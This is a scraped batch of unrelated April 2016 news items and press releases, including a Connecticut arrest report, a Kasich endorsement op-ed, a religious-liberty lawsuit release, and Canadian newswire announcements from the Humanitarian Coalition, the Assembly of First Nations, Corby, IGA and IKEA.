We are also concerned that subsequent reforms will have difficulty balancing focus and effectiveness. Legislation to control loopholes for the wealthy can cause collateral damage for the rest of us, especially by the time the legislation is sliced, diced, and shredded by lawyers and special interest groups. We hope that legislators and regulators will find suitable transparency rules and penalties that improve tax compliance without damaging legitimate estate-planning trust mechanisms. A legislative scalpel may be preferable to a regulatory hammer.
Contributed Photo / The News-Times

A man was arrested by state police for larceny and burglary just an hour after New Milford police arrested him for stealing a purse.

Jesse Vanwhy, 34, was arrested around 3:50 p.m. on March 18 for stealing someones purse near the intersection of East and Elm streets in New Milford, according to a press release from the New Milford Police Department.
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Student Denied Degree Over Same-Sex Debate

The Thomas More Society Files Complaint in Defense of Civil and Religious Rights

SPRINGFIELD, Mo., April 21, 2016 / Christian Newswire / -- This week, attorneys with the Thomas More Society, a national public interest law firm, filed a federal civil rights complaint against the Governors of Missouri State University on behalf of Andrew Cash. Cash was a student at the university who was dismissed from his M.S. in Counseling program after expressing concern over counseling same-sex couples due to his religious convictions. His suit claims that he was unable to complete his counseling curriculum, and is now prevented from working as a counselor, causing him daily emotional suffering. He is seeking for MSU to reinstate him in his counseling program with safeguards put in place so that he can successfully earn his degree.

Cash began the counseling program at MSU in September 2007. He was a student in excellent standing and nearing the completion of his degree when the disagreement with the school arose in 2011 over counseling gay couples.

"Traditionally, universities have been places for free exchange of ideas and values, both religious and secular," said Thomas Olp, Executive Director and Attorney for the Thomas More Society. Unfortunately, Missouri State University departed from its mission by denying educational opportunity to Mr. Cash simply because he expressed, in an academic setting, sincerely-held religious beliefs which his advisor deemed hostile to her own and therefore unacceptable. An educator should not permit her own ideology and agenda to ruin the educational opportunities of her students. We feel the responsibility, on Mr. Cash's behalf, to try to correct this."

As a part of the degree program, students are required to complete clinical internship hours. Cash started his internship in January 2011 with the Springfield Marriage and Family Institute, which had been approved by MSU as an internship site. At least one other student in the M.S. in Counseling program had previously completed an internship there. The Institute is a Christian-based counseling agency, and MSU knew this when it approved Cash's internship in January 2011.

A class presentation was conducted at the Institute in order to inform students about Christian counseling. The presentation was approved in advance by Cash's instructor. During the presentation, the Institute's chief counselor said that its Christian credentials and values were openly discussed with potential clients. In answer to a hypothetical question, the counselor said that while the Institute would and does counsel individual gay persons on a variety of issues, it prefers to refer gay couples for relationship counseling to other counselors whose religious views would likely be a better fit. Following the presentation, a student complained to Cash's faculty advisor about the statement, who peremptorily ordered Cash to her office, interrogated him as to his own views on the subject, and when he said he was sympathetic to them, she ordered him to forthwith cease attending the Institute, and immediately informed the Institute that it no longer would be considered an appropriate location for a school counseling internship given "ethical concerns" that had arisen. MSU later stripped the hours from Cash's graduate record.

Although Cash worked with the administration to find a different internship, the faculty advisor required him, as a condition of being re-accepted to a new internship, to prove to her that he "had learned something from the experience at the Springfield Marriage and Family Institute." Later, the same advisor wrote a letter to department officials claiming that it appeared to her, despite a total lack of evidence, that she suspected that Cash had not recanted from his earlier-stated religious views. She then made a recommendation, which was accepted, to force Cash into "remediation." A year later, in November 2014, the University expelled Cash from the counseling program, and his appeals fell on deaf ears. Cash was very close to graduating, but lost his ability to complete his degree by the expulsion.

Read the Complaint, filed in the Western District of Missouri Court, here

About the Thomas More Society
Connecticut Presidential primaries have been sleepers since Nutmeggers went for both McCain and Obama in 2008, but our state has an interesting history:

In 1980, Democrats rejected incumbent President Carter to give Connecticuts delegates to neighbor Ted Kennedy. That same day, GOP-ers balked at the partys icon-to-be, Ronald Reagan, in favor of native son George H.W. Bush.

In 1988, Senator Bob Doles poor Connecticut showing  against then-Vice President Bush  effectively ended his campaign.

In 1992, Former-and-now Governor Jerry Brown (D-California) surprised here and threatened to derail Bill Clintons post-New Hampshire surge.

In 2000, Connecticuts participation in Super Tuesday gave John McCain one of several victories while Texas Gov. George W. Bush swept all bigger states, effectively locking the GOP nomination.

This history shows that, despite national trends, Connecticut voters in both parties tend to make up their minds  and sometimes act differently  in the privacy of the voting booth.

In 2016, I urge Connecticut Republicans to rise above the noisy rhetoric, and cast an informed vote. Despite what political pundits and analysts may say, the nomination is not out of anyones reach. Every vote does count. Yes, Connecticut voters stand to have an impact.

As a political party, our task is to select the candidate who stands the best chance of being elected in November. We need a standard-bearer who not only appeals to Republicans, but one with a proven track record of attracting independents and achieving solutions to problems facing America both at home and abroad.

Today, 20 years of bare-knuckles division plagues Washington. When one election ends, those disappointed rub their hands together in anticipation of the next one, eager to settle the score.

Next Tuesday, I will cast my vote for Gov. John Kasich of Ohio because of his fiscal conservatism, ability to lead, and record of using his elected offices not to be somebody, but to actually get something done. Additionally, and significantly, Kasich has the most experience, qualifications, and electability the Republican Party needs to compete with the historical candidacy of Hillary Clinton.

John Kasich makes decisions on an ethical basis every day, without fear of standing up for whats right, and following the rule of law  whether or not he happens to agree with it personally.

As for the other GOP candidates, Donald Trump certainly bears strong leadership capabilities. He might well succeed if given the chance to lead America. However, the effectiveness of Trumps message in the primary season shows no signs of garnering similar support in a general election audience.

Sen. Ted Cruzs challenge to the status quo and winning the Republican nomination (tantamount to election in Texas) over a protege of Gov. Rick Perry is admirable, as are his legal skills. However, like the current President, Cruz is a one-term Senator with nearly no executive experience. One would be hard-pressed to cite an accomplishment of Cruz since being elected to Congress. Right now, America cannot afford another Commander-in-Chief who needs on-the-job training.

Qualifications aside, the greatest concern in a Trump or Cruz candidacy seems clear. While they may eventually rally the party faithful, neither appears poised to win support from a sufficient enough number of Americans who voted to reelect Obama-Biden in 2012. Connecticut Republicans know this concern all too well. Twice, we have stood at the threshold of the Governors mansion only to be frustrated because Dan Malloy appealed to just enough independents that our candidate failed to connect with.

If nominated, John Kasich stands positioned not only to win a significant number of those Americans, but to realign the electoral map for the Republican Party. This will happen because John Kasich lives, practices and breathes the advice of one of the most successful Republican Presidential candidates of the 20th century: We cannot learn from one another unless we stop shouting at one another  until we speak quietly enough so that our words can be heard as well as our voices.

Please join Mayor Mark Boughton, State Sens. Tony Hwang and Len Fasano, First Selectmen Steve Vavrek and Jayme Stevenson  and countless other Connecticut GOP leaders  in voting for John Kasich on April 26th.

Matt Grimes is a resident of Brookfield.
On April 23, people of Irish heritage and good will from the Danbury area will gather at the Irish Center on Lake Avenue in Danbury to honor the memory of the men and women who participated and died in the Dublin Easter Rising of 1916.

The Easter Rising in Dublin in 1916 was an attempt by Irish men and women to throw off 800 years of foreign rule and declare an Irish Republic in the name of the people who inhabit the island of Ireland. Though the Rebellion failed, it lead to the establishment of the 26 counties of the Irish Republic with the hope that all of Ireland in light of the Good Friday agreement of 1998 will eventually be unified.
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BROOKFIELD  A former local psychiatrist who once treated Sandy Hook Elementary School shooter Adam Lanza was charged this week with assaulting a female patient several years ago.

Paul L. Fox, 63, of Peaks Island, Maine, was brought to Connecticut on Wednesday and charged with three counts of second-degree sexual assault.
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OTTAWA, April 22, 2016 /CNW/ - The members of the Humanitarian Coalition unveiled today a national campaign in the lead up to World Refugee Day, on June 20th, to raise awareness and funds for the 60 million people displaced around the world.

Supported by the Honourable Marie-Claude Bibeau, Minister of International Development and La Francophonie, and Arif Virani, Parliamentary Secretary for the Honourable John McCallum, Minister of Immigration, Refugees and Citizenship, the "Help Them Dream Again" campaign aims to mobilize all Canadians in support of refugees worldwide, with a particular focus on children.

Together, they call on Canadian humanitarian organizations and the corporate sector to join the campaign and encourage all Canadians to get involved.

"Today we start a 60 day countdown to World Refugee Day on June 20th  60 days for the 60 million people forcibly displaced from their homes due to disasters, conflict and crises. More than half of this number are children. We've seen so much generosity and compassion from Canadians for the Syrian refugees. We ask Canadians to see this as an opportunity to better understand and support the millions of refugees who will never make Canada their home and the efforts underway to assist them around the world," said Patricia Erb, Chair of the Humanitarian Coalition and President & CEO of Save the Children.

Humanitarian Coalition members CARE Canada, Oxfam Canada, Oxfam-Quebec, Plan International Canada and Save the Children are proud to collaborate with trusted partners such as the UNHCR Canada, World Vision Canada, Islamic Relief Canada and the Canadian Foodgrains Bank to promote the needs of refugees and displaced people worldwide. The participation of other Canadian international NGOs is welcome as the campaign unfolds.

"Behind the numbers, refugees are ordinary people facing extraordinarily difficult situations. From Yemen to Jordan, from Cameroon to Kenya, refugees need our attention, but also the care and assistance they need to rebuild their lives. We welcome this campaign by Canadian partners to highlight the plight of refugees around the world," said Minister Bibeau.

The campaign has already enlisted the backing of key corporate and media partners, and an official announcement will be made once agreements have been finalized. In the meantime, Canadian businesses are encouraged to join this effort.

''All over the world, people are leaving their homeland due to war and conflict. Canada is strongly committed to resettling refugees from all around the world and 2016 is expected to be the most ambitious resettlement year in Canadian history. I thank Canadians for showing our values of compassion, kindness, and generosity by supporting this campaign,'' said Mr. Virani.

"UNHCR has been calling for more support and increased solidarity with refugees all over the world. We are happy to support this campaign by Canadian humanitarian agencies, which is yet again another demonstration of Canada's longstanding commitment to help and assist refugees," said Furio De Angelis, UNHCR Representative in Canada.

Canadians can learn more and help raise their voice for the 60 million displaced people at www.worldrefugeeday.com

Together, we can save more lives.

The Humanitarian Coalition is Canada's only joint appeal mechanism. It is comprised of CARE Canada, Oxfam Canada, Oxfam-Quebec, Plan International Canada and Save the Children Canada. With a combined presence in more than 120 countries, we bring together Canada's leading aid agencies to finance relief efforts in times of international humanitarian crises. We work together to eliminate unnecessary competition, reduce the duplication of fundraising costs, and inform the public on humanitarian needs.

Media Backgrounder: World Refugee Day June 20

Help Them Dream Again Campaign

April 22, 2016





WHO:

With a combined presence in more than 120 countries, the Humanitarian Coalition brings together five of Canada's leading aid agencies to finance relief efforts in times of international humanitarian crises. It is comprised of CARE Canada, Oxfam Canada, Oxfam-Quebec, Plan International Canada and Save the Children Canada. We work together to reduce the duplication of fundraising costs, and inform the public on humanitarian needs.





leading aid agencies to finance relief efforts in times of international humanitarian crises. It is comprised of CARE Canada, Oxfam Canada, Oxfam-Quebec, Plan International Canada and Save the Children Canada. We work together to reduce the duplication of fundraising costs, and inform the public on humanitarian needs. For this campaign, the Humanitarian Coalition is extending its reach and working with several other humanitarian agencies, including UNHCR Canada, World Vision Canada, Islamic Relief Canada and Canadian Foodgrains Bank to raise awareness of this global crisis. It is encouraging other aid organizations to get involved.

WHAT AND WHEN:

First marked in 2001, World Refugee Day is held every year on June 20 .





. Tens of thousands of people in more than 100 countries around the world take time to recognize and applaud the contribution of forcibly displaced people. The annual commemoration is marked by a variety of events involving government officials, humanitarian aid workers, businesses, celebrities, civilians and the forcibly displaced themselves.

WHY AND WHERE:

The campaign will culminate in a national day of action on June 20 , on World Refuge Day. The focus is children and the theme is "Help Them Dream Again."





, on World Refuge Day. The focus is children and the theme is "Help Them Dream Again." The cross- Canada campaign will craise awareness and engage the generosity of all Canadians, governments and businesses on the critical front-line work being done overseas by Canadian aid agencies in some of the world's most dangerous places.

UNPRECEDENTED CRISIS:

The United Nations High Commission for Refugees (UNHCR) estimates there are about 60 million forcibly displaced people around the world, the highest number on record. Of those, half are children! Whether through civil war and other forms of conflict, natural disasters or climate-related disasters such as drought, the global scale of displaced people is unprecedented.





Every day, millions of displaced people in dozens of countries are in urgent need of access to safe drinking water and sanitation services, food, shelter, medicine, education and security.

More information about World Refugee Day

Twitter: #60DaysFor60Million #HelpThemDreamAgain #WorldRefugeeDay

For more information: Yose Cormier, Humanitarian Coalition 613-292-2687 [email protected]

SOURCE Humanitarian Coalition

Image with caption: "Humanitarian Coalition Logo (CNW Group/Humanitarian Coalition)". Image available at: http://photos.newswire.ca/images/download/20160422_C4639_PHOTO_EN_672555.jpg

For further information: Yose Cormier, Humanitarian Coalition, 613-292-2687, [email protected]; Felix Corriveau, Office of the Minister of Immigration, Refugees and Citizenship Canada, 613-954-1064, [email protected]; Bernard Boutin, Office of the Minister of International, Development and La Francophonie, 343-203-5977, [email protected]
OTTAWA, April 21, 2016 /CNW/ - Assembly of First Nations (AFN) National Chief Perry Bellegarde today marked Earth Day by calling on Canadians to work collaboratively with First Nations to build a stronger economy and a healthier planet through sustainable development.

"First Nations bring tremendous understanding to the challenge of climate change, because our cultures have always placed a priority on protecting the lands and waters, that sustain us," said AFN National Chief Bellegarde. "Earth Day is a time to recognize our shared responsibilities to the environment, and to commit to working together to rebuild our economy while maintaining a healthy and thriving planet."

The National Chief, who heads to the United Nations in New York next month to attend meetings of the Permanent Forum on the Rights of Indigenous Peoples, added: "We have rights recognized in Canadian law and international law, and responsibilities handed down from generations to respect and protect our traditional territories. Earth Day reminds us all that we can do better."

The UN Declaration on the Rights of Indigenous Peoples affirms the fundamental rights of Indigenous peoples including their rights in their traditional territories. First Nations made clear at the Vancouver First Ministers Meeting that their role and responsibilities as peoples with inherent jurisdiction over the lands and waters must be a key element of any national strategy in Canada.

Earth Day is recognized every April 22. It is the largest environmental event in the world. Earth Day Canada was founded in 1990. The goal is to foster and celebrate environmental respect, action and behavior change that lessens our impact on the earth. This year's Earth Day Canada theme is #Rooting4Trees, encouraging Canadians to commit to planting 25,000 legacy trees for Earth Day's 25th Anniversary in 2016. For more information visit: http://www.earthday.ca/

The Assembly of First Nation is the national organization representing First Nation citizens in Canada. Follow AFN on Twitter @AFN_Comms, @AFN_Updates.

SOURCE Assembly of First Nations

For further information: Alain Garon, AFN Bilingual Communications Officer, 613-241-6789, ext. 382; 613-292-0857 or [email protected]; Jenna Young Castro AFN Communications Officer 613-241-6789, ext. 401; 613-314-8157 or [email protected]
OTTAWA, April 21, 2016 /CNW/ - Assembly of First Nations (AFN) National Chief Perry Bellegarde commented today on the Private Member's Bill put forward by Romeo Saganash, NDP Member of Parliament for Abitibi-Baie-James-Nunavik-Eeyou (QC), C-262 - An Act to ensure that the laws of Canada are in harmony with the United Nations Declaration on the Rights of Indigenous Peoples.

"The AFN welcomes this initiative as a means to move Canada forward in adopting and implementing the UN Declaration as an integral part of reconciliation," said AFN National Chief Bellegarde. "The Declaration confirms the rights of Indigenous peoples as human rights. Its principles provide a framework for the implementation of Aboriginal and Treaty rights in the relationship between First Nations and Canada. Giving life to the Declaration will move all of Canada forward."

In 2015, National Chief Bellegarde wrote to all Members of Parliament urging them to support an earlier version of this Bill, which was supported in the House by all NDP and Liberals MPs. The National Chief and AFN will examine the latest version of the Bill and engage First Nations and all MPs on next steps.

AFN Quebec-Labrador Regional Chief Ghislain Picard said: "We welcome with enthusiasm a Private Member's Bill on the United Nations Declaration on the Rights of Indigenous Peoples tabled this morning by Mr. Romeo Saganash. We believe that all parties must see this next logical step as an opportunity for Canada to reconcile with its colonial past."

The UN Declaration on the Rights of Indigenous Peoples sets out minimum standards for ensuring Indigenous peoples enjoy fundamental human rights, including the collective right to self-determination and rights in their traditional territories. The Declaration is an essential framework for reconciliation and renewing the nation-to-nation relationship as called for by the Truth and Reconciliation Commission (TRC). The federal government has committed to implementing the TRC's calls to action, starting with the implementation of the UN Declaration. The National Chief will be at the United Nations next month to attend meetings of the Permanent Forum on the Rights of Indigenous Peoples where the UN Declaration will feature prominently in the discussions.

The UN Declaration on the Rights of Indigenous Peoples can be read at: http://www.un.org/esa/socdev/unpfii/documents/DRIPS_en.pdf

The Assembly of First Nation is the national organization representing First Nation citizens in Canada. Follow AFN on Twitter @AFN_Comms, @AFN_Updates.

SOURCE Assembly of First Nations

For further information: Alain Garon, AFN Bilingual Communications Officer, 613-241-6789, ext. 382; 613-292-0857 or [email protected]; Jenna Young Castro AFN Communications Officer 613-241-6789, ext. 401; 613-314-8157 or [email protected]
CALGARY, April 21, 2016 /CNW/ - Cervus Equipment Corp. ("Cervus") (TSX: CVL) today announced that it will host its first quarter 2016 results conference call on May 12, 2016 at 11:00 a.m. Eastern Time. The Company intends to disclose its financial results after markets close on May 11, 2016.

President and CEO, Graham Drake, and CFO, Randy Muth, will discuss Cervus's financial and operating results for the quarter ended March 31, 2016, and then take questions from securities analysts and institutional shareholders.

Interested parties may access the conference call by dialling (647) 427-7450 or 1-888-231-8191. Please connect approximately 10 minutes prior to the beginning of the call. The conference call will be archived for replay until Thursday, May 19, 2016 at midnight. To access the archived conference call, dial (416) 849-0833 or 1-855-859-2056 and enter the reservation number 97091293 followed by the number sign.

A live audio webcast of the conference call will be available at:

http://event.on24.com/r.htm?e=1177845&s=1&k=655760C46B45E6E6B9DEA71B0F2B576E

Please connect at least 15 minutes prior to the conference call to ensure adequate time for any software download that may be required to join the webcast. The webcast will be archived at the above website for 90 days.

About Cervus Equipment Corporation

Cervus acquires and operates authorized agricultural, construction, materials handling and transportation equipment dealerships. The Company has interests in 72 dealerships in Canada, New Zealand, and Australia. The primary equipment brands represented by Cervus include John Deere agricultural equipment; Bobcat and JCB construction equipment; Clark, Sellick and Doosan material handling equipment; and Peterbilt transportation equipment. The common shares of Cervus are listed on the Toronto Stock Exchange and trade under the symbol "CVL".

SOURCE Cervus Equipment Corporation

For further information: Graham Drake - President & CEO, (403) 567-2095, [email protected]; Randy Muth - Chief Financial Officer, (403) 567-2097, [email protected]
TORONTO, April 22, 2016 /CNW/ - Environmentalist and author Bill McKibben  an internationally recognized leader in the fight against climate change  will be one of the featured speakers at the Higher Education Summit in Toronto this November.

"As we celebrate Earth Day today, we're thrilled to announce that a prominent champion for a cleaner planet will be speaking at our conference this year," said Linda Franklin, the president and CEO of Colleges Ontario. "His inspirational message will help strengthen Canada's resolve to fight climate change."

The Higher Education Summit, run by Colleges Ontario, is one of Canada's premier conferences on post-secondary education. In recent years, featured speakers at the annual conference have included environmental lawyer Robert F. Kennedy Jr., author and columnist Thomas L. Friedman, actor and director Alan Alda, former prime minister Jean Chretien, and Paralympian and philanthropist Rick Hansen.

McKibben is the founder of 350.org, the first planet-wide movement to tackle climate change. The movement has organized 20,000 rallies throughout the world.

His book, The End of Nature, was one of the first books to raise awareness about climate change among the general public. McKibben holds honorary degrees from 18 colleges and universities and the Boston Globe once said he was "probably America's most important environmentalist."

His appearance this year is important to Ontario's colleges, which continue to play a leading role in the effort to reduce carbon emissions.

In addition to infrastructure improvements that help reduce energy use, the colleges also continue to develop programs that specifically prepare graduates for the clean economy. Growing numbers of college graduates are pursuing careers in fields that range from renewable energy and green architecture to wastewater treatment.

The Higher Education Summit runs Nov. 20 and 21 at the Sheraton Centre Toronto Hotel. Other featured speakers this year include former U.S. secretary of labor Robert B. Reich, decorated Canadian Olympian Clara Hughes, and outdoor adventure athlete Will Gadd. More details about the conference can be found at www.highereducationsummit.ca.

"We bring top educators, government officials and business leaders together to examine the big issues," Franklin said. "At a time when our country is focused on tackling climate change, this year's conference will provide an important reminder of why the effort is so critical."

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SOURCE Colleges Ontario

For further information: Amy Dickson, Manager, Media Relations and Communications, Colleges Ontario, 647-258-7686, [email protected]
Corby Spirit and Wine ranks 22nd on the annual Great Place to Work list

TORONTO, April 22, 2016 /CNW/ - Are Corby employees proud of where they work? The answer to that question is a resounding "Yes!" as proven by the company's fifth consecutive placement on the Great Place to Work Institute's list of Canada's 50 Best Workplaces. Announced today in a special report in The Globe and Mail, Corby has achieved a rank of #22 on the list  holding strong its position from 2015.

"Everyone wants to work for a company that motivates, encourages and supports them," says Patrick O'Driscoll, CEO. "At Corby, we recognize that the most successful businesses are the ones that place a high focus on building a positive workplace for their team. Employee ratings play a significant role in which companies earn a spot on this prestigious list, and I'm ecstatic that our employees continue to feel proud to work at Corby."

What makes Corby employees love their job? Results from the Great Place to Work anonymous survey point to 4 key highlight areas: rewards & recognition, physical environment & resources, management competence & integrity, and fun & cooperation.

Over the course of 2015, Corby has continued its focus on building a high-trust and high-engagement environment. Aside from great perks like half-day Fridays during the summer, smart casual office attire and exclusive wine and spirits tastings, some of Corby's most unique and award-winning workplace offerings include:

I Thank: a gamification-style twist on rewards & recognition  employees share badges based on a set of strategic capabilities to acknowledge colleagues for their hard work and achievements. Each year, five lucky winners get an extra week of vacation and $1,000 to donate to the charity of their choice!

a gamification-style twist on rewards & recognition  employees share badges based on a set of strategic capabilities to acknowledge colleagues for their hard work and achievements. Each year, five lucky winners get an extra week of vacation and to donate to the charity of their choice! #CorbySafeRides: building on Corby's core pillar of responsible consumption, the company partners annually with the Toronto Transit Commission (TTC) to sponsor free public transit for Torontonians on New Year's Eve , ensuring that everyone has a safe ride home.

building on Corby's core pillar of responsible consumption, the company partners annually with the Toronto Transit Commission (TTC) to sponsor free public transit for Torontonians on , ensuring that everyone has a safe ride home. Corby's Den: a bi-annual "Dragon's Den" style challenge that sees top management travel across the country to hear employees present their best and most innovative business ideas.

"This prestigious recognition reinforces something I already know: that this is one amazing company full of talented, motivated and engaged people," says Paul Holub, VP of HR. "But that doesn't mean we can now put our feet up. Building a culture of sustainable engagement is a continual process of listening, acting, and measuring the results  this is the only way to create an environment that empowers employees to grow, bring out the best in each other, and unleash their full potential."

Corby is hiring, so if you're interested in joining our dynamic team you can visit our website to check out our current open positions and apply!

About Great Place to Work:

Great Place to Work is the global authority on high-trust, high-performance workplace cultures. We are a research and consulting firm whose mission is to build a better society by helping companies transform their workplaces. Through proprietary assessment tools, advisory services, and employer branding programs, including workplace certification and Best Workplaces lists, Great Place to Work provides the benchmarks, framework, and expertise needed to create, sustain, and recognize outstanding workplace cultures. In Canada, Great Place to Work produces the annual 100 Best Workplaces list, released in a national feature in the Globe and Mail. This is part of the world's largest annual workplace study, which culminates in a series of national lists in almost 50 countries, including the study's flagship list of 100 Best companies published annually in Fortune magazine. Globally, this survey represents the voices of 11 million employees, including approximately 300,000 from Canada alone. It's what makes this study so credible: the primary determinant used in selecting winners is an employee survey. There's only one way to get on this list  and that's if your employees put you there.

Great Place to Work online at www.greatplacetowork.ca and on Twitter at @GPTW_Canada.

About Corby Spirit and Wine

Corby Spirit and Wine Limited is a leading Canadian marketer and distributor of spirits and imported wines. Corby's portfolio of owned-brands includes some of the most renowned brands in Canada, including J.P. Wiser's, Lot No. 40, Pike Creek and Gooderham & Worts Canadian whiskies as well as Lamb's rum, Polar Ice vodka and McGuinness and Criollo liqueurs, produced by its sister company, Hiram Walker & Sons Ltd., based in Windsor, Ontario. Through its affiliation with Pernod Ricard S.A., a global leader in the spirits and wine industry, Corby also represents leading international brands such as ABSOLUT vodka, Chivas Regal, The Glenlivet and Ballantine's Scotch whiskies, Jameson Irish whiskey, Beefeater gin, Malibu rum, Kahlua liqueur, Mumm champagne, and Jacob's Creek, Wyndham Estate, Stoneleigh, Campo Viejo, Graffigna and Kenwood wines. In 2016, Corby was named one of the 50 Best Workplaces in Canada by The Great Place to Work Institute Canada for the fifth consecutive year, and was also listed for the second time among Greater Toronto's Top 100 Employers. Corby is a publicly traded company based in Toronto, Ontario, and listed on the Toronto Stock Exchange under the trading symbols CSW.A and CSW.B. For further information, please visit our website or follow us on LinkedIn, Twitter (@CorbySW), and Instagram (@CorbySW).

SOURCE Corby Spirit and Wine Communications

Image with caption: "Corby Spirit and Wine ranks 22nd on the annual Great Place to Work list. (CNW Group/Corby Spirit and Wine Communications)". Image available at: http://photos.newswire.ca/images/download/20160422_C6356_PHOTO_EN_672513.jpg

Image with caption: "Corby Celebrates its 5th Consecutive Year as one of Canadas Best Workplaces. (CNW Group/Corby Spirit and Wine Communications)". Image available at: http://photos.newswire.ca/images/download/20160422_C6356_PHOTO_EN_672515.jpg

For further information: Amandine Robin, Director, Communications, Public Relations and CSR, Corby Spirit and Wine, Email: [email protected], Telephone: (416) 479-2492
MONTREAL, April 22, 2016 /CNW Telbec/ - Earth day on April 22nd is the right time for people to remind themselves about the importance of things they do for the good of the environment. And we at IGA are no exception! We deploy a great number of environmental initiatives. Whether it's to combat food waste, implement a healthy waste management system, recycle and recover as much material as possible, or help Quebecers reduce their environmental impact, we want to do our part all through the year.

Equipping Quebecers to reduce waste at home

In 2015, no less than 96 "A vos frigos" workshops were organized by Fonds Eco IGA in collaboration with La Tablee des Chefs and Jour de la Terre Quebec. Workshop participants from throughout the province, who numbered 1,200, received tips and advice about reducing food waste in their homes. "The success of our A vos frigos workshops was so great that they'll be back, stronger than ever in September 2016, which makes us truly proud!" explains Marie-Noelle Cano, Director of Communications & Sustainability at Sobeys Quebec.

In a similar vein, customers who want to reduce their own environmental footprint can register on the Jour de la Terre website for a chance to receive a rainwater barrel or compost bin at a reduced price from their local IGA. This popular program has been offered by IGA grocers for 5 years now.

And multiplying in-store efforts

In addition to doing so much for their customers, IGA grocers are proud to be industry leaders in applying sustainable, concrete measures in their stores. Whether it's through Fonds Eco IGA, where they have just invested their eight $1 million, or through independent initiatives, a great number of projects have been implemented, including:

the waste management optimization program (WMO) which enables stores to make good use of compostable and recyclable materials, fat and bones, plastic wrap, and used oils

the polystyrene recycling project established in 30 stores

the desire to reduce nonrecyclable packaging

the offset of greenhouse gas emissions, particularly by planting trees in Blainville and Oka in collaboration with CO2 Environnement

and in collaboration with food donations to local charities

LEED certification, demonstrating energy efficiency, earned by certain stores

Action Reduction certification for healthy waste management (47 certified stores)

IGA grocers are happy to celebrate Earth Day and proud to continue their work throughout the year, in addition to encouraging their customers to make responsible choices every day.

About Fonds Eco IGA

Fonds Eco IGA was founded in 2008 by Quebec's IGA grocers who will donate their eighth $1 million this year. It is managed by Jour de la Terre Quebec, a force for sustainable development in communities throughout Quebec. It supports initiatives that respond to environmental realities and aim to protect, conserve, and promote sustainable environmental practices throughout Quebec. Since its creation, Fonds Eco IGA has financed the distribution of close to 63,000 rainwater barrels and countless other projects in all regions of Quebec and some towns in New Brunswick as well. iga.net/fondsecoiga

SOURCE IGA

For further information: Laurie Fossat, Communications Advisor, Sobeys Quebec, 514-324-1010, ext. 2158, [email protected]
TORONTO, April 21, 2016 /CNW/ - An evening of song and storytelling, happens tomorrow, April 22, at St. Vladimir Institute, 620 Spadina Ave. Toronto, 7.30pm. The accident on April 26, 1986, was one of the worst nuclear disasters in history. On Earth Day, join Kosa Kolektiv in remembering Chernobyl, not only as a place of disaster but as a place of life, where the land and its people lived, sang, and loved. On Earth Day, artists perform an authentic repertoire from the region followed by personal accounts of survivors and information from experts. More: http://fromchernobyltofukushima.com/chornobyl

SOURCE Kosa Kolektiv

For further information: Alexander Belyakov, 6478542772, [email protected]
AMSTERDAM, April 22, 2016 /CNW/ - With a population of more than 90 million, Vietnam is one of the most promising consumer markets in Asia, benefitting from favourable demographics, rapid urbanisation and increasing disposable incomes. As a result, the Vietnamese F&B market has grown at a rapid pace, and consumers have started to prefer the convenience of packaged food and products, which take less time to prepare and eat.

(Logo: http://photos.prnewswire.com/prnh/20130723/629764-a )

Euromonitor predicts retail sales in the packaged food market in Vietnam to reach over US$12 billion in 2019, growing 30.7% from 2014. High growth products in the forecast include ice cream, chilled and frozen processed food; ready meals; baby food; meal replacements; dairy; canned/preserved food and pasta. The world's biggest brewer, Anheuser Busch InBev, said Vietnam is the "next turning point" for growth in Southeast Asia, when it opened its first brewery in the country last year. According to the Viet Nam Beer, Alcohol and Beverage Association the F&B sectors have enormous potential for development with a stable annual growth rate of 7-8%.

"Food ingredients (Fi) Vietnam is unique. It is the only event dedicated solely to food ingredients in emerging Cambodia-Laos-Myanmar-Vietnam (CLMV) countries," noted UBM Asia (Thailand) Business Director, Rungphech (Rose) Chitanuwat. "Moreover, Fi Vietnam 2016 is so much more than just a trade show, offering conferences, seminars and in-depth Insight especially in the beverage sector and unmatched networking opportunities with food professionals in industry, government and academia, from not just around the region, but also around the world - the right ingredients for your success. Come to meet your new business partners and customers. You can see, touch, taste and experience the newest food ingredients, look at the latest trends, and the most recent innovations driving food science and product development."

With an expected 4,500+ visitors, and more than 150 exhibitors from Vietnam, France, Germany, Poland, Italy, Thailand, India, Japan, Taiwan, China, Malaysia and Korea, Fi Vietnam 2016 gives you even more opportunities to do business. Chitanuwat noted that "this growth could not have been achieved without the ongoing support of our trusted partners, including the Vietnam Association of Food Science and Technology (VAFoST), Cambodia Association of Food Science and Technology (CAFST), Food and Foodstuff Association of Ho Chi Minh City (FFA) and Vietnam Beer, Alcohol and beverage Association (VBA)."

UBM is excited to again support the prestigious annual VAFoST Young Achievers' Safe Food Competition, with the support of the Saigon Technology University. "UBM is always looking to the future of the industry. We aim to support students and encourage them to become the next generation of food scientists," Chitanuwat added. "This year, the competition theme is 'Greener food products for the ASEAN consumers'. Undergraduate students from universities and colleges with Food Technology programmes in Vietnam and Cambodia are required to create innovative packaged food products (new formulations, new product formats, new packaging etc.) from domestic material resources that are stable at room temperature. UBM has supported students by providing funds to the 20 teams, to develop their competition entries. Also, we support space to showcase their development at Fi Vietnam 2016."

Now is the time to begin making plans to join us for Fi Vietnam 2016, on 18-20 May at the Saigon Exhibition and Convention Centre. Add us to your calendar, and get ready to discover the industry's best products and newest solutions to improve your business. You can register online at http://fi-vietnam.net/PR to receive your free three-day entrance pass, a free show catalogue and free entrance to all onsite features. You will also find a full list of confirmed exhibitors, conference and seminar programmes, and so on.

About The Organiser

Owned by UBM plc listed on the London Stock Exchange, UBM Asia is Asia's leading exhibition organiser and the biggest commercial organiser in mainland China, India and Malaysia. Established with its headquarters in Hong Kong and subsidiary companies across Asia and in the US, UBM Asia has a strong global network of 32 offices and 1,300 staff in 24 major cities. We operate in 19 market sectors with 230 exhibitions and conferences, 28 trade publications, 18 online products for over 2,000,000 quality exhibitors, visitors, conference delegates, advertisers and subscribers from all over the world.

SOURCE UBM EMEA
BURLINGTON, ON, April 22,2016 /CNW/ - For the eighth consecutive year, IKEA Canada has been recognized by Mediacorp as one of Canada's Greenest Employers. This designation is awarded to employers that lead the nation in creating a culture of environmental awareness and attract people because of this leadership.

"Sustainability is a part of everything that we do at IKEA and we've made big, bold commitments to have a positive impact on people and the planet," said Stefan Sjostrand, President IKEA Canada. "As a leader, we have a huge opportunity to enable more people to live a more sustainable life at home by offering affordable products and solutions and by demonstrating that they are good for people's wallets and the environment."

